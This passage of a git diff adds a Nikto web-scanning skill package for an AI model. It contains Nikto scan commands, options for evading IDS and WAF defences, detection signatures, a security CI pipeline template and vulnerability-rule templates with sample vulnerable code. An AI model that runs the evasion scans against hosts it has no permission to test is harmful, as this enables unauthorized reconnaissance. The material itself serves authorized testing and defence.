**2**: Directory self-reference (/./) +- **3**: Premature URL ending +- **4**: Prepend long random string +- **5**: Fake parameter +- **6**: TAB as request spacer +- **7**: Change case of URL +- **8**: Use Windows directory separator (\) + +## Security Considerations + +### Authorization & Legal Compliance + +- **Written Permission**: Obtain explicit authorization for web server scanning +- **Scope Verification**: Only scan explicitly authorized hosts and ports +- **Detection Risk**: Nikto is noisy and will trigger IDS/IPS alerts +- **Production Impact**: Scans may impact server performance +- **Log Flooding**: Nikto generates extensive log entries + +### Operational Security + +- **Rate Limiting**: Use -Pause to reduce server load +- **Scan Windows**: Perform scans during approved maintenance windows +- **Session Management**: Use -maxtime to limit scan duration +- **Proxy Usage**: Route through authorized proxy if required +- **User-Agent**: Consider using custom User-Agent for tracking + +### Audit Logging + +Document all Nikto scanning activities: +- Target hosts and ports scanned +- Scan start and end timestamps +- Tuning options and plugins used +- Findings and vulnerability counts +- False positives identified +- Remediation priorities +- Report delivery and recipients + +### Compliance + +- **OWASP ASVS**: V14 Configuration Verification +- **NIST SP 800-115**: Technical Guide to Information Security Testing +- **PCI-DSS**: 6.6 and 11.3 - Vulnerability scanning +- **CWE**: Common Weakness Enumeration mapping +- **ISO 27001**: A.12.6 - Technical vulnerability management + +## Common Patterns + +### Pattern 1: External Perimeter Assessment + +```bash +# Scan external web servers +for host in web1.example.com web2.example.com; do + nikto -h https://$host -o nikto_${host}.html -Format html +done + +# Scan common web ports +nikto -h example.com -p 80,443,8080,8443 -o external_scan.txt +``` + +### Pattern 2: Internal Web Application Assessment + +```bash +# Comprehensive internal scan +nikto -h http://intranet.local \ + -Tuning 123456789abcde \ + -timeout 30 \ + -maxtime 2h \ + -o internal_assessment.html -Format html +``` + +### Pattern 3: SSL/TLS Security Assessment + +```bash +# SSL-specific testing +nikto -h https://example.com \ + -Plugins "ssl" \ + -ssl \ + -o ssl_assessment.txt +``` + +### Pattern 4: Authenticated Scanning + +```bash +# Scan with authentication +nikto -h http://example.com \ + -id admin:password \ + -cookies "sessionid=abc123" \ + -Tuning 123456789 \ + -o authenticated_scan.html -Format html +``` + +### Pattern 5: Bulk Scanning + +```bash +# Create host file +cat > web_servers.txt < findings.csv +``` + +## Troubleshooting + +### Issue: Scan Takes Too Long + +**Solutions**: +```bash +# Limit scan duration +nikto -h http://example.com -maxtime 15m + +# Reduce tuning scope +nikto -h http://example.com -Tuning 123 + +# Disable 404 checking +nikto -h http://example.com -no404 +``` + +### Issue: SSL/TLS Errors + +**Solutions**: +```bash +# Force SSL +nikto -h example.com -ssl -p 443 + +# Ignore SSL certificate errors +nikto -h https://example.com -ssl -nossl + +# Specify SSL version +nikto -h https://example.com -ssl +``` + +### Issue: Too Many False Positives + +**Solutions**: +- Manually verify findings +- Use -Tuning to focus on specific vulnerability types +- Review and update Nikto database with -update +- Exclude known false positives from reports + +### Issue: WAF Blocking Scans + +**Solutions**: +```bash +# Use evasion techniques +nikto -h http://example.com -evasion 1234567 + +# Add delays +nikto -h http://example.com -Pause 10 + +# Use custom User-Agent +nikto -h http://example.com -useragent "legitimate-browser-string" +``` + +## Defensive Considerations + +Protect web servers against Nikto scanning: + +**Web Application Firewall Rules**: +- Detect and block Nikto User-Agent strings +- Implement rate limiting +- Block known Nikto attack patterns +- Monitor for scan signatures + +**Server Hardening**: +- Remove default files and directories +- Disable directory listing +- Remove server version banners +- Apply security patches regularly +- Follow CIS benchmarks for web server hardening + +**Detection and Monitoring**: +- Monitor for rapid sequential requests +- Alert on multiple 404 errors from single source +- Detect common vulnerability probes +- Log and correlate scan patterns +- Implement honeypot files/directories + +Common Nikto detection signatures: +- User-Agent contains "Nikto" +- Requests to known vulnerable paths +- Sequential URI enumeration +- Specific HTTP header patterns + +## References + +- [Nikto Official Documentation](https://cirt.net/Nikto2) +- [Nikto GitHub Repository](https://github.com/sullo/nikto) +- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) +- [NIST SP 800-115: Technical Security Testing](https://csrc.nist.gov/publications/detail/sp/800-115/final) +- [CIS Web Server Benchmarks](https://www.cisecurity.org/cis-benchmarks/) diff --git a/skills/offsec/webapp-nikto/assets/.gitkeep b/skills/offsec/webapp-nikto/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/offsec/webapp-nikto/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/offsec/webapp-nikto/assets/ci-config-template.yml b/skills/offsec/webapp-nikto/assets/ci-config-template.yml new file mode 100644 index 0000000..367cdbb --- /dev/null +++ b/skills/offsec/webapp-nikto/assets/ci-config-template.yml @@ -0,0 +1,357 @@ +# Security-Enhanced CI/CD Pipeline Template +# +# This template demonstrates security best practices for CI/CD pipelines. +# Adapt this template to your specific security tool and workflow needs. +# +# Key Security Features: +# - SAST (Static Application Security Testing) +# - Dependency vulnerability scanning +# - Secrets detection +# - Infrastructure-as-Code security scanning +# - Container image scanning +# - Security artifact uploading for compliance + +name: Security Scan Pipeline + +on: + push: + branches: [main, develop] + pull_request: + branches: [main, develop] + schedule: + # Run weekly security scans on Sunday at 2 AM UTC + - cron: '0 2 * * 0' + workflow_dispatch: # Allow manual trigger + +# Security: Restrict permissions to minimum required +permissions: + contents: read + security-events: write # For uploading SARIF results + pull-requests: write # For commenting on PRs + +env: + # Configuration + SECURITY_SCAN_FAIL_ON: 'critical,high' # Fail build on these severities + REPORT_DIR: 'security-reports' + +jobs: + # Job 1: Static Application Security Testing (SAST) + sast-scan: + name: SAST Security Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for better analysis + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Run SAST Scanner + run: | + # Example: Using Semgrep for SAST + pip install semgrep + semgrep --config=auto \ + --json \ + --output ${{ env.REPORT_DIR }}/sast-results.json \ + . || true + + # Alternative: Bandit for Python projects + # pip install bandit + # bandit -r . -f json -o ${{ env.REPORT_DIR }}/bandit-results.json + + - name: Process SAST Results + run: | + # Parse results and fail on critical/high severity + python3 -c " + import json + import sys + + with open('${{ env.REPORT_DIR }}/sast-results.json') as f: + results = json.load(f) + + critical = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'ERROR']) + high = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'WARNING']) + + print(f'Critical findings: {critical}') + print(f'High findings: {high}') + + if critical > 0: + print('❌ Build failed: Critical security issues found') + sys.exit(1) + elif high > 0: + print('⚠️ Warning: High severity issues found') + # Optionally fail on high severity + # sys.exit(1) + else: + print('✅ No critical security issues found') + " + + - name: Upload SAST Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: sast-results + path: ${{ env.REPORT_DIR }}/sast-results.json + retention-days: 30 + + # Job 2: Dependency Vulnerability Scanning + dependency-scan: + name: Dependency Vulnerability Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Scan Python Dependencies + if: hashFiles('requirements.txt') != '' + run: | + pip install safety + safety check \ + --json \ + --output ${{ env.REPORT_DIR }}/safety-results.json \ + || true + + - name: Scan Node Dependencies + if: hashFiles('package.json') != '' + run: | + npm audit --json > ${{ env.REPORT_DIR }}/npm-audit.json || true + + - name: Process Dependency Results + run: | + # Check for critical vulnerabilities + if [ -f "${{ env.REPORT_DIR }}/safety-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/safety-results.json')); print(len([v for v in data.get('vulnerabilities', []) if v.get('severity', '').lower() == 'critical']))") + echo "Critical vulnerabilities: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "❌ Build failed: Critical vulnerabilities in dependencies" + exit 1 + fi + fi + + - name: Upload Dependency Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: dependency-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 3: Secrets Detection + secrets-scan: + name: Secrets Detection + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history to scan all commits + + - name: Run Gitleaks + uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITLEAKS_ENABLE_SUMMARY: true + + - name: Alternative - TruffleHog Scan + if: false # Set to true to enable + run: | + pip install truffleHog + trufflehog --json --regex --entropy=True . \ + > ${{ env.REPORT_DIR }}/trufflehog-results.json || true + + - name: Upload Secrets Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: secrets-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 4: Container Image Scanning + container-scan: + name: Container Image Security Scan + runs-on: ubuntu-latest + if: hashFiles('Dockerfile') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Build Docker Image + run: | + docker build -t app:${{ github.sha }} . + + - name: Run Trivy Scanner + uses: aquasecurity/trivy-action@master + with: + image-ref: app:${{ github.sha }} + format: 'sarif' + output: '${{ env.REPORT_DIR }}/trivy-results.sarif' + severity: 'CRITICAL,HIGH' + + - name: Upload Trivy Results to GitHub Security + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: '${{ env.REPORT_DIR }}/trivy-results.sarif' + + - name: Upload Container Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: container-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 5: Infrastructure-as-Code Security Scanning + iac-scan: + name: IaC Security Scan + runs-on: ubuntu-latest + if: hashFiles('**/*.tf', '**/*.yaml', '**/*.yml') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Checkov + run: | + pip install checkov + checkov -d . \ + --output json \ + --output-file ${{ env.REPORT_DIR }}/checkov-results.json \ + --quiet \ + || true + + - name: Run tfsec (for Terraform) + if: hashFiles('**/*.tf') != '' + run: | + curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash + tfsec . \ + --format json \ + --out ${{ env.REPORT_DIR }}/tfsec-results.json \ + || true + + - name: Process IaC Results + run: | + # Fail on critical findings + if [ -f "${{ env.REPORT_DIR }}/checkov-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/checkov-results.json')); print(data.get('summary', {}).get('failed', 0))") + echo "Failed checks: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "⚠️ Warning: IaC security issues found" + # Optionally fail the build + # exit 1 + fi + fi + + - name: Upload IaC Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: iac-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 6: Security Report Generation and Notification + security-report: + name: Generate Security Report + runs-on: ubuntu-latest + needs: [sast-scan, dependency-scan, secrets-scan] + if: always() + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Download All Scan Results + uses: actions/download-artifact@v4 + with: + path: all-results/ + + - name: Generate Consolidated Report + run: | + # Consolidate all security scan results + mkdir -p consolidated-report + + cat > consolidated-report/security-summary.md << 'EOF' + # Security Scan Summary + + **Scan Date**: $(date -u +"%Y-%m-%d %H:%M:%S UTC") + **Commit**: ${{ github.sha }} + **Branch**: ${{ github.ref_name }} + + ## Scan Results + + ### SAST Scan + See artifacts: `sast-results` + + ### Dependency Scan + See artifacts: `dependency-scan-results` + + ### Secrets Scan + See artifacts: `secrets-scan-results` + + ### Container Scan + See artifacts: `container-scan-results` + + ### IaC Scan + See artifacts: `iac-scan-results` + + --- + + For detailed results, download scan artifacts from this workflow run. + EOF + + - name: Comment on PR (if applicable) + if: github.event_name == 'pull_request' + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + const report = fs.readFileSync('consolidated-report/security-summary.md', 'utf8'); + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: report + }); + + - name: Upload Consolidated Report + if: always() + uses: actions/upload-artifact@v4 + with: + name: consolidated-security-report + path: consolidated-report/ + retention-days: 90 + +# Security Best Practices Demonstrated: +# +# 1. ✅ Minimal permissions (principle of least privilege) +# 2. ✅ Multiple security scan types (defense in depth) +# 3. ✅ Fail-fast on critical findings +# 4. ✅ Secrets detection across full git history +# 5. ✅ Container image scanning before deployment +# 6. ✅ IaC scanning for misconfigurations +# 7. ✅ Artifact retention for compliance audit trail +# 8. ✅ SARIF format for GitHub Security integration +# 9. ✅ Scheduled scans for continuous monitoring +# 10. ✅ PR comments for developer feedback +# +# Compliance Mappings: +# - SOC 2: CC6.1, CC6.6, CC7.2 (Security monitoring and logging) +# - PCI-DSS: 6.2, 6.5 (Secure development practices) +# - NIST: SA-11 (Developer Security Testing) +# - OWASP: Integrated security testing throughout SDLC diff --git a/skills/offsec/webapp-nikto/assets/rule-template.yaml b/skills/offsec/webapp-nikto/assets/rule-template.yaml new file mode 100644 index 0000000..2aebcfe --- /dev/null +++ b/skills/offsec/webapp-nikto/assets/rule-template.yaml @@ -0,0 +1,355 @@ +# Security Rule Template +# +# This template demonstrates how to structure security rules/policies. +# Adapt this template to your specific security tool (Semgrep, OPA, etc.) +# +# Rule Structure Best Practices: +# - Clear rule ID and metadata +# - Severity classification +# - Framework mappings (OWASP, CWE) +# - Remediation guidance +# - Example vulnerable and fixed code + +rules: + # Example Rule 1: SQL Injection Detection + - id: sql-injection-string-concatenation + metadata: + name: "SQL Injection via String Concatenation" + description: "Detects potential SQL injection vulnerabilities from string concatenation in SQL queries" + severity: "HIGH" + category: "security" + subcategory: "injection" + + # Security Framework Mappings + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-89: SQL Injection" + mitre_attack: + - "T1190: Exploit Public-Facing Application" + + # Compliance Standards + compliance: + - "PCI-DSS 6.5.1: Injection flaws" + - "NIST 800-53 SI-10: Information Input Validation" + + # Confidence and Impact + confidence: "HIGH" + likelihood: "HIGH" + impact: "HIGH" + + # References + references: + - "https://owasp.org/www-community/attacks/SQL_Injection" + - "https://cwe.mitre.org/data/definitions/89.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html" + + # Languages this rule applies to + languages: + - python + - javascript + - java + - go + + # Detection Pattern (example using Semgrep-style syntax) + pattern-either: + - pattern: | + cursor.execute($SQL + $VAR) + - pattern: | + cursor.execute(f"... {$VAR} ...") + - pattern: | + cursor.execute("..." + $VAR + "...") + + # What to report when found + message: | + Potential SQL injection vulnerability detected. SQL query is constructed using + string concatenation or f-strings with user input. This allows attackers to + inject malicious SQL code. + + Use parameterized queries instead: + - Python: cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + - JavaScript: db.query("SELECT * FROM users WHERE id = $1", [userId]) + + See: https://owasp.org/www-community/attacks/SQL_Injection + + # Suggested fix (auto-fix if supported) + fix: | + Use parameterized queries with placeholders + + # Example vulnerable code + examples: + - vulnerable: | + # Vulnerable: String concatenation + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = " + user_id + cursor.execute(query) + + - fixed: | + # Fixed: Parameterized query + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = ?" + cursor.execute(query, (user_id,)) + + # Example Rule 2: Hardcoded Secrets Detection + - id: hardcoded-secret-credential + metadata: + name: "Hardcoded Secret or Credential" + description: "Detects hardcoded secrets, API keys, passwords, or tokens in source code" + severity: "CRITICAL" + category: "security" + subcategory: "secrets" + + owasp: + - "A07:2021 - Identification and Authentication Failures" + cwe: + - "CWE-798: Use of Hard-coded Credentials" + - "CWE-259: Use of Hard-coded Password" + + compliance: + - "PCI-DSS 8.2.1: Use of strong cryptography" + - "SOC 2 CC6.1: Logical access controls" + - "GDPR Article 32: Security of processing" + + confidence: "MEDIUM" + likelihood: "HIGH" + impact: "CRITICAL" + + references: + - "https://cwe.mitre.org/data/definitions/798.html" + - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password" + + languages: + - python + - javascript + - java + - go + - ruby + + pattern-either: + - pattern: | + password = "..." + - pattern: | + api_key = "..." + - pattern: | + secret = "..." + - pattern: | + token = "..." + + pattern-not: | + $VAR = "" + + message: | + Potential hardcoded secret detected. Hardcoding credentials in source code + is a critical security vulnerability that can lead to unauthorized access + if the code is exposed. + + Use environment variables or a secrets management system instead: + - Python: os.environ.get('API_KEY') + - Node.js: process.env.API_KEY + - Secrets Manager: AWS Secrets Manager, HashiCorp Vault, etc. + + See: https://cwe.mitre.org/data/definitions/798.html + + examples: + - vulnerable: | + # Vulnerable: Hardcoded API key + api_key = "sk-1234567890abcdef" + api.authenticate(api_key) + + - fixed: | + # Fixed: Environment variable + import os + api_key = os.environ.get('API_KEY') + if not api_key: + raise ValueError("API_KEY environment variable not set") + api.authenticate(api_key) + + # Example Rule 3: XSS via Unsafe HTML Rendering + - id: xss-unsafe-html-rendering + metadata: + name: "Cross-Site Scripting (XSS) via Unsafe HTML" + description: "Detects unsafe HTML rendering that could lead to XSS vulnerabilities" + severity: "HIGH" + category: "security" + subcategory: "xss" + + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-79: Cross-site Scripting (XSS)" + - "CWE-80: Improper Neutralization of Script-Related HTML Tags" + + compliance: + - "PCI-DSS 6.5.7: Cross-site scripting" + - "NIST 800-53 SI-10: Information Input Validation" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://owasp.org/www-community/attacks/xss/" + - "https://cwe.mitre.org/data/definitions/79.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" + + languages: + - javascript + - typescript + - jsx + - tsx + + pattern-either: + - pattern: | + dangerouslySetInnerHTML={{__html: $VAR}} + - pattern: | + innerHTML = $VAR + + message: | + Potential XSS vulnerability detected. Setting HTML content directly from + user input without sanitization can allow attackers to inject malicious + JavaScript code. + + Use one of these safe alternatives: + - React: Use {userInput} for automatic escaping + - DOMPurify: const clean = DOMPurify.sanitize(dirty); + - Framework-specific sanitizers + + See: https://owasp.org/www-community/attacks/xss/ + + examples: + - vulnerable: | + // Vulnerable: Unsanitized HTML + function UserComment({ comment }) { + return
; + } + + - fixed: | + // Fixed: Sanitized with DOMPurify + import DOMPurify from 'dompurify'; + + function UserComment({ comment }) { + const sanitized = DOMPurify.sanitize(comment); + return
; + } + + # Example Rule 4: Insecure Cryptography + - id: weak-cryptographic-algorithm + metadata: + name: "Weak Cryptographic Algorithm" + description: "Detects use of weak or deprecated cryptographic algorithms" + severity: "HIGH" + category: "security" + subcategory: "cryptography" + + owasp: + - "A02:2021 - Cryptographic Failures" + cwe: + - "CWE-327: Use of a Broken or Risky Cryptographic Algorithm" + - "CWE-326: Inadequate Encryption Strength" + + compliance: + - "PCI-DSS 4.1: Use strong cryptography" + - "NIST 800-53 SC-13: Cryptographic Protection" + - "GDPR Article 32: Security of processing" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://cwe.mitre.org/data/definitions/327.html" + - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/" + + languages: + - python + - javascript + - java + + pattern-either: + - pattern: | + hashlib.md5(...) + - pattern: | + hashlib.sha1(...) + - pattern: | + crypto.createHash('md5') + - pattern: | + crypto.createHash('sha1') + + message: | + Weak cryptographic algorithm detected (MD5 or SHA1). These algorithms are + considered cryptographically broken and should not be used for security purposes. + + Use strong alternatives: + - For hashing: SHA-256, SHA-384, or SHA-512 + - For password hashing: bcrypt, argon2, or PBKDF2 + - Python: hashlib.sha256() + - Node.js: crypto.createHash('sha256') + + See: https://cwe.mitre.org/data/definitions/327.html + + examples: + - vulnerable: | + # Vulnerable: MD5 hash + import hashlib + hash_value = hashlib.md5(data).hexdigest() + + - fixed: | + # Fixed: SHA-256 hash + import hashlib + hash_value = hashlib.sha256(data).hexdigest() + +# Rule Configuration +configuration: + # Global settings + enabled: true + severity_threshold: "MEDIUM" # Report findings at MEDIUM severity and above + + # Performance tuning + max_file_size_kb: 1024 + exclude_patterns: + - "test/*" + - "tests/*" + - "node_modules/*" + - "vendor/*" + - "*.min.js" + + # False positive reduction + confidence_threshold: "MEDIUM" # Only report findings with MEDIUM confidence or higher + +# Rule Metadata Schema +# This section documents the expected structure for rules +metadata_schema: + required: + - id: "Unique identifier for the rule (kebab-case)" + - name: "Human-readable rule name" + - description: "What the rule detects" + - severity: "CRITICAL | HIGH | MEDIUM | LOW | INFO" + - category: "security | best-practice | performance" + + optional: + - subcategory: "Specific type (injection, xss, secrets, etc.)" + - owasp: "OWASP Top 10 mappings" + - cwe: "CWE identifier(s)" + - mitre_attack: "MITRE ATT&CK technique(s)" + - compliance: "Compliance standard references" + - confidence: "Detection confidence level" + - likelihood: "Likelihood of exploitation" + - impact: "Potential impact if exploited" + - references: "External documentation links" + +# Usage Instructions: +# +# 1. Copy this template when creating new security rules +# 2. Update metadata fields with appropriate framework mappings +# 3. Customize detection patterns for your tool (Semgrep, OPA, etc.) +# 4. Provide clear remediation guidance in the message field +# 5. Include both vulnerable and fixed code examples +# 6. Test rules on real codebases before deployment +# +# Best Practices: +# - Map to multiple frameworks (OWASP, CWE, MITRE ATT&CK) +# - Include compliance standard references +# - Provide actionable remediation guidance +# - Show code examples (vulnerable vs. fixed) +# - Tune confidence levels to reduce false positives +# - Exclude test directories to reduce noise diff --git a/skills/offsec/webapp-nikto/references/EXAMPLE.md b/skills/offsec/webapp-nikto/references/EXAMPLE.md new file mode 100644 index 0000000..c317b39 --- /dev/null +++ b/skills/offsec/webapp-nikto/references/EXAMPLE.md @@ -0,0 +1,550 @@ +# Reference Document Template + +This file demonstrates how to structure detailed reference material that Claude loads on-demand. + +**When to use this reference**: Include a clear statement about when Claude should consult this document. +For example: "Consult this reference when analyzing Python code for security vulnerabilities and needing detailed remediation patterns." + +**Document purpose**: Briefly explain what this reference provides that's not in SKILL.md. + +--- + +## Table of Contents + +**For documents >100 lines, always include a table of contents** to help Claude navigate quickly. + +- [When to Use References](#when-to-use-references) +- [Document Organization](#document-organization) +- [Detailed Technical Content](#detailed-technical-content) +- [Security Framework Mappings](#security-framework-mappings) + - [OWASP Top 10](#owasp-top-10) + - [CWE Mappings](#cwe-mappings) + - [MITRE ATT&CK](#mitre-attck) +- [Remediation Patterns](#remediation-patterns) +- [Advanced Configuration](#advanced-configuration) +- [Examples and Code Samples](#examples-and-code-samples) + +--- + +## When to Use References + +**Move content from SKILL.md to references/** when: + +1. **Content exceeds 100 lines** - Keep SKILL.md concise +2. **Framework-specific details** - Detailed OWASP/CWE/MITRE mappings +3. **Advanced user content** - Deep technical details for expert users +4. **Lookup-oriented content** - Rule libraries, configuration matrices, comprehensive lists +5. **Language-specific patterns** - Separate files per language/framework +6. **Historical context** - Old patterns and deprecated approaches + +**Keep in SKILL.md**: +- Core workflows (top 3-5 use cases) +- Decision points and branching logic +- Quick start guidance +- Essential security considerations + +--- + +## Document Organization + +### Structure for Long Documents + +For references >100 lines: + +```markdown +# Title + +**When to use**: Clear trigger statement +**Purpose**: What this provides + +## Table of Contents +- Links to all major sections + +## Quick Reference +- Key facts or commands for fast lookup + +## Detailed Content +- Comprehensive information organized logically + +## Framework Mappings +- OWASP, CWE, MITRE ATT&CK references + +## Examples +- Code samples and patterns +``` + +### Section Naming Conventions + +- Use **imperative** or **declarative** headings +- ✅ "Detecting SQL Injection" not "How to detect SQL Injection" +- ✅ "Common Patterns" not "These are common patterns" +- Make headings **searchable** and **specific** + +--- + +## Detailed Technical Content + +This section demonstrates the type of detailed content that belongs in references rather than SKILL.md. + +### Example: Comprehensive Vulnerability Detection + +#### SQL Injection Detection Patterns + +**Pattern 1: String Concatenation in Queries** + +```python +# Vulnerable pattern +query = "SELECT * FROM users WHERE id = " + user_id +cursor.execute(query) + +# Detection criteria: +# - SQL keyword (SELECT, INSERT, UPDATE, DELETE) +# - String concatenation operator (+, f-string) +# - Variable user input (request params, form data) + +# Severity: HIGH +# CWE: CWE-89 +# OWASP: A03:2021 - Injection +``` + +**Remediation**: +```python +# Fixed: Parameterized query +query = "SELECT * FROM users WHERE id = ?" +cursor.execute(query, (user_id,)) + +# OR using ORM +user = User.objects.get(id=user_id) +``` + +**Pattern 2: Unsafe String Formatting** + +```python +# Vulnerable patterns +query = f"SELECT * FROM users WHERE name = '{username}'" +query = "SELECT * FROM users WHERE name = '%s'" % username +query = "SELECT * FROM users WHERE name = '{}'".format(username) + +# All three patterns are vulnerable to SQL injection +``` + +#### Cross-Site Scripting (XSS) Detection + +**Pattern 1: Unescaped Output in Templates** + +```javascript +// Vulnerable: Direct HTML injection +element.innerHTML = userInput; +document.write(userInput); + +// Vulnerable: React dangerouslySetInnerHTML +
+ +// Detection criteria: +# - Direct DOM manipulation (innerHTML, document.write) +# - React dangerouslySetInnerHTML with user data +# - Template engines with autoescaping disabled + +// Severity: HIGH +// CWE: CWE-79 +// OWASP: A03:2021 - Injection +``` + +**Remediation**: +```javascript +// Fixed: Escaped output +element.textContent = userInput; // Auto-escapes + +// Fixed: Sanitization library +import DOMPurify from 'dompurify'; +const clean = DOMPurify.sanitize(userComment); +
+``` + +--- + +## Security Framework Mappings + +This section provides comprehensive security framework mappings for findings. + +### OWASP Top 10 + +Map security findings to OWASP Top 10 (2021) categories: + +| Category | Title | Common Vulnerabilities | +|----------|-------|----------------------| +| **A01:2021** | Broken Access Control | Authorization bypass, privilege escalation, IDOR | +| **A02:2021** | Cryptographic Failures | Weak crypto, plaintext storage, insecure TLS | +| **A03:2021** | Injection | SQL injection, XSS, command injection, LDAP injection | +| **A04:2021** | Insecure Design | Missing security controls, threat modeling gaps | +| **A05:2021** | Security Misconfiguration | Default configs, verbose errors, unnecessary features | +| **A06:2021** | Vulnerable Components | Outdated libraries, unpatched dependencies | +| **A07:2021** | Auth & Session Failures | Weak passwords, session fixation, missing MFA | +| **A08:2021** | Software & Data Integrity | Unsigned updates, insecure CI/CD, deserialization | +| **A09:2021** | Logging & Monitoring Failures | Insufficient logging, no alerting, log injection | +| **A10:2021** | SSRF | Server-side request forgery, unvalidated redirects | + +**Usage**: When reporting findings, map to primary OWASP category and reference the identifier (e.g., "A03:2021 - Injection"). + +### CWE Mappings + +Map to relevant Common Weakness Enumeration categories for precise vulnerability classification: + +#### Injection Vulnerabilities +- **CWE-78**: OS Command Injection +- **CWE-79**: Cross-site Scripting (XSS) +- **CWE-89**: SQL Injection +- **CWE-90**: LDAP Injection +- **CWE-91**: XML Injection +- **CWE-94**: Code Injection + +#### Authentication & Authorization +- **CWE-287**: Improper Authentication +- **CWE-288**: Authentication Bypass Using Alternate Path +- **CWE-290**: Authentication Bypass by Spoofing +- **CWE-294**: Authentication Bypass by Capture-replay +- **CWE-306**: Missing Authentication for Critical Function +- **CWE-307**: Improper Restriction of Excessive Authentication Attempts +- **CWE-352**: Cross-Site Request Forgery (CSRF) + +#### Cryptographic Issues +- **CWE-256**: Plaintext Storage of Password +- **CWE-259**: Use of Hard-coded Password +- **CWE-261**: Weak Encoding for Password +- **CWE-321**: Use of Hard-coded Cryptographic Key +- **CWE-326**: Inadequate Encryption Strength +- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm +- **CWE-329**: Not Using a Random IV with CBC Mode +- **CWE-798**: Use of Hard-coded Credentials + +#### Input Validation +- **CWE-20**: Improper Input Validation +- **CWE-73**: External Control of File Name or Path +- **CWE-434**: Unrestricted Upload of File with Dangerous Type +- **CWE-601**: URL Redirection to Untrusted Site + +#### Sensitive Data Exposure +- **CWE-200**: Information Exposure +- **CWE-209**: Information Exposure Through Error Message +- **CWE-312**: Cleartext Storage of Sensitive Information +- **CWE-319**: Cleartext Transmission of Sensitive Information +- **CWE-532**: Information Exposure Through Log Files + +**Usage**: Include CWE identifier in all vulnerability reports for standardized classification. + +### MITRE ATT&CK + +Reference relevant tactics and techniques for threat context: + +#### Initial Access (TA0001) +- **T1190**: Exploit Public-Facing Application +- **T1133**: External Remote Services +- **T1078**: Valid Accounts + +#### Execution (TA0002) +- **T1059**: Command and Scripting Interpreter +- **T1203**: Exploitation for Client Execution + +#### Persistence (TA0003) +- **T1098**: Account Manipulation +- **T1136**: Create Account +- **T1505**: Server Software Component + +#### Privilege Escalation (TA0004) +- **T1068**: Exploitation for Privilege Escalation +- **T1548**: Abuse Elevation Control Mechanism + +#### Defense Evasion (TA0005) +- **T1027**: Obfuscated Files or Information +- **T1140**: Deobfuscate/Decode Files or Information +- **T1562**: Impair Defenses + +#### Credential Access (TA0006) +- **T1110**: Brute Force +- **T1555**: Credentials from Password Stores +- **T1552**: Unsecured Credentials + +#### Discovery (TA0007) +- **T1083**: File and Directory Discovery +- **T1046**: Network Service Scanning + +#### Collection (TA0009) +- **T1005**: Data from Local System +- **T1114**: Email Collection + +#### Exfiltration (TA0010) +- **T1041**: Exfiltration Over C2 Channel +- **T1567**: Exfiltration Over Web Service + +**Usage**: When identifying vulnerabilities, consider which ATT&CK techniques an attacker could use to exploit them. + +--- + +## Remediation Patterns + +This section provides specific remediation guidance for common vulnerability types. + +### SQL Injection Remediation + +**Step 1: Identify vulnerable queries** +- Search for string concatenation in SQL queries +- Check for f-strings or format() with SQL keywords +- Review all database interaction code + +**Step 2: Apply parameterized queries** + +```python +# Python with sqlite3 +cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + +# Python with psycopg2 (PostgreSQL) +cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) + +# Python with SQLAlchemy (ORM) +from sqlalchemy import text 